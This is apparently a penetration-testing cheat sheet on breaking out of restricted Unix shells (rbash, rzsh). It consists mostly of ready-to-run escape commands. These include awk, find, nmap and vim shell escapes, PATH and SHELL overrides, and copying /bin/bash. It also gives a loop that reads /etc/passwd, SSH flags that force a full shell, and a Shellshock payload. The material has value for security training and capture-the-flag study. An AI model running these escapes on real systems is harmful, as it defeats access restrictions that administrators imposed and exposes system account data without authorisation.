Restricted Shell (rbash, rzsh) Bypass

The restricted shell is a Unix shell that restricts some of the capabilities available to an interactive user session.

After logged in a shell, sometimes we faced the error such as below when executing commands.

-rbash: cd: restricted
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

The target system uses a restricted shell so we may not be able to execute commonly used commands e.g. ls, cd, etc. We need to bypass the restriction First.

Command Enumeration

First check what commands can we execute. Try running varied commands.

awk 'BEGIN {system("/bin/sh")}'
bash
cat
cd
cp
declare
echo
echo $PATH
echo $SHELL
echo /usr/bin/*
echo /home/<username>/bin/*
echo "bash -i" | tee rbypass.sh
env
export
find
find / -name foobar -exec /bin/sh \;
ftp
git
less
ls
nano
nmap
printenv
printf
# List all files in current directory
printf '%s\n' *(D)
pwd
set
sudo
sudo -l
tar
touch
vi
vim
whereis
which
whoami
zip

# Programming languages
perl
php
python
python2
python3
python3.x
ruby

# Commands with absolute path
/bin/bash
/bin/sh
/usr/bin/cat
/usr/bin/ls


# Special characters
>
>>
<
|
&
$
$(whoami)
;
:
'
"
`

How to Bypass

Update Environment Variables

If we can execute export command and the desired environment variable (PATH, SHELL, etc.) is not readonly, we can update variables.

export SHELL=/bin/bash
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Autocomplete to List Directories

We can see files and directories in the current directory by inputting the following path and entering “Tab” key.

./.

Copy Shell Command

If we can execute cp command, we can copy /bin/bash or /bin/sh to the current directory.

cp /bin/bash .
cp /bin/sh .

List/Read Files

If we can use echo or printf command, we can list all files or read files.

1. List

# List all files
echo /*
echo /.* # list hidden files
echo /home/<username>/*
echo /home/<username>/.* # list hidden files

# List all files in current directory
printf '%s\n' *(D)

1. Read

while read line; do echo $line; done < /etc/passwd; echo $line

Nmap

If we can use nmap command, we can escape the restricted shell with the interactive mode.

nmap --interactive
nmap> !sh

Vi/Vim Editor

If we can use vi or vim command, we can update the SHELL variable in the vi/vim editor.

vim # or vi

# In vi/vim editor
:set shell=/bin/bash
:shell

SSH Flags

# -t: Force pseudo-terminal allocation
ssh <user>@<ip> -t "/bin/bash"
ssh <user>@<ip> -t "/bin/sh"
ssh <user>@<ip> -t "bash --noprofile"
# Shellshock
ssh <user>@<ip> "() {:;}; /bin/bash"

If we can enter the shell, run tab-completion by pushing “Tab” key. We may be able to retrieve commands available.